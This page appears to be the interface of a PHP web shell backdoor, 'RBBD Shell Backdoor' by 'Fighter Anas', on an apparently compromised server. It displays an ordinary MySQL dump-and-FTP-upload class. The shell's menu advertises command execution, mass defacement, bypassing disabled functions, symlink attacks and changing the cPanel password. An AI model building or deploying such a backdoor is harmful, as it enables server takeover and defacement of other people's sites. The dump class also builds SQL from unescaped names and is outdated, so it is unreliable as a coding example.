⚜ RBBD Shell Backdoor ⚜
Current Dir
:
D:
/
php
/
mysql_backup
/
Home
Upload
Command
Config
Jumping
Symlink
Mass Deface
Bypass Disable Function
K-RDP 5H3LL
Adminer
Change Password cPanel
Zone-H
Current File : D:/php/mysql_backup/mysqldump.class.php
<?php class MySQLDump { /* * Holds actual connection. */ private $_dbConnect; /* * Private variable holding option for class. */ private $_options = array(); private $_selectQuery; private $_fileName; /** * Construct. * * constructor of the class * @param array $options - parameters for class */ public function __construct(array $options = array()) { $this->_options = $options; $this->connect(); } /** * Connect. * * connects to the database. */ public function connect() { $this->_dbConnect = mysql_connect( $this->_options['db']['server'], $this->_options['db']['username'], $this->_options['db']['password'] ); if(!$this->_dbConnect) { throw new Exception('Unable to connect to database'); } if(!mysql_select_db($this->_options['db']['database'], $this->_dbConnect)) { throw new Exception(sprintf('Unable to connect to database %s', $this->_options['db']['database'])); } // Set charset. mysql_query("SET CHARACTER SET UTF-8"); } /** * Export. * * exports database into text * @param array $tables - list of the table * @return exported data */ public function dbExport(array $tables) { $exportData = null; foreach($tables as $table) { $exportData .= $this->_createExportHeader($table); $exportData .= $this->_getExportData($table); } return $exportData; } /** * Mysql Fetch Array. * * fetch array from database. */ public function mysqlFetchArray() { return mysql_fetch_array($this->_selectQuery); } /** * Mysql Fetch Assoc. * * fetch array assoc from database. */ public function mysqlFetchAssoc() { return mysql_fetch_assoc($this->_selectQuery); } /** * Mysql List Tables. * * mysql_query to find all tables in database. * @return true | false */ public function mysqlListTables() { $this->_selectQuery = mysql_query("SHOW TABLES FROM ".$this->_options['db']['database'],$this->_dbConnect); return $this->_selectQuery; } /** * Create export header (Private). * * creates header for export * @param $table - name of a table * @return header */ private function _createExportHeader($table) { // Fields. $fields = array(); $query = mysql_query("DESCRIBE `{$table}`",$this->_dbConnect); while($field = mysql_fetch_assoc($query)) { $fields[] = $field; } // Indexes. $indexes = array(); $query = mysql_query("SHOW INDEXES FROM `{$table}`"); while($index = mysql_fetch_assoc($query)) { if(isset($indexes[$index['Key_name']])) { $indexes[$index['Key_name']][] = $index; } else { $indexes[$index['Key_name']] = array($index); } } // Table status. $query = mysql_query("SHOW TABLE STATUS WHERE `Name` = '{$table}'"); $status = mysql_fetch_assoc($query); // Table header. $header = "DROP TABLE IF EXISTS `{$table}`;\n"; $header .= "CREATE TABLE `{$table}` (\n"; foreach($fields as $key => $values) { $header .= "\t`".$values['Field']."` ".$values['Type']; if($values['Null'] == 'NO') { $header .= " not null"; } else { $header .= " null"; } // TODO: What about MySQL constants ? if(!empty($values['Default'])) { if($values['Default'] == 'CURRENT_TIMESTAMP') { $header .= " default ".$values['Default']; } else { $header .= " default '".$values['Default']."'"; } } if(!empty($values['Extra'])) { $header .= " ".$values['Extra']; } $header .= ",\n"; } $countIndexes = count($indexes); $counter = 1; foreach($indexes as $indexKey => $indexValeus) { if($indexKey == 'PRIMARY') { $header .= "\tPRIMARY KEY ("; $keyString = null; foreach($indexValeus as $indKey => $indValues) { $keyString .= "`".$indValues['Column_name']."`,"; } $header .= substr($keyString,0,-1); } else { $header .= "\tKEY `".$indexKey."` ("; $keyString = null; foreach($indexValeus as $indKey => $indValues) { $keyString .= "`".$indValues['Column_name']."`"; if(!empty($indValues['Sub_part'])) { $keyString .= ' ('.$indValues['Sub_part'].')'; } $keyString .= ","; } $header .= substr($keyString,0,-1); } if($counter++ < $countIndexes) { $header .= "),\n"; } else { $header .= ")\n"; } } $header .= ") "; // Additional information. $charsetExplode = explode('_',$status['Collation']); $status['Charset'] = (isset($charsetExplode[0])) ? $charsetExplode[0] : null; $additionalInfo = array('Engine' => 'ENGINE','Auto_increment' => 'AUTO_INCREMENT', 'Charset' => 'CHARSET', 'Collation' => 'COLLATE'); foreach($additionalInfo as $key => $name) { if(isset($status[$key]) && !empty($status[$key])) { $header .= $name .'='.$status[$key]." "; } } $header .= ";\n\n"; return (string)$header; } /** * Get Export Data (Private). * * exports records from database. * @param $table - name of a table * @return export of records */ private function _getExportData($table) { $d = null; $data = mysql_query("SELECT * FROM `{$table}` WHERE 1", $this->_dbConnect); $counter = 1; $insertData = null; $rowCounter = mysql_num_rows($data); if($rowCounter > 0) { while($row = mysql_fetch_assoc($data)) { if($counter == 1) { $columnsNames = ''; $insertData .= "INSERT INTO `{$table}` "; $columns = array_keys($row); $columnNames = null; foreach($columns as $key => $column) { $columnsNames .= "`{$column}`,"; } $insertData .= "(".substr($columnsNames,0,-1).") VALUES \n"; } $insertData .= "("; $rowData = null; foreach($row as $column => $value) { $rowData .= "'".mysql_escape_string($value)."',"; } $insertData .= substr($rowData,0,-1); if($counter < $rowCounter) { $insertData .= "),\n"; } else { $insertData .= ");\n\n"; } // Increase counter; $counter++; } } // Return data. return (string)$insertData; } public function saveToFtp() { $ftpConnect = ftp_connect($this->_options['ftp']['server']); $ftpLogin = ftp_login($ftpConnect, $this->_options['ftp']['username'], $this->_options['ftp']['password']); if($ftpLogin) { $upload = ftp_put($ftpConnect, $this->_fileName, $this->_fileName, FTP_BINARY); } ftp_close($ftpConnect); unlink($this->_fileName); } public function doDump() { $dbTables = array(); if($this->mysqlListTables()) { while($table = $this->mysqlFetchArray()) { $dbTables[] = (string) $table[0]; } } $exportedData = $this->dbExport($dbTables); // Save a file. $this->_fileName = $this->_options['db']['database'].'-'.date('Y-m-d-H:i:s').'.sql.bz2'; $bz = bzopen($this->_fileName, "w"); bzwrite($bz, $exportedData); bzclose($bz); } }
Fighter Anas Private Shell V.1 -
Royal
Battler BD
Copyright © Fighter Anas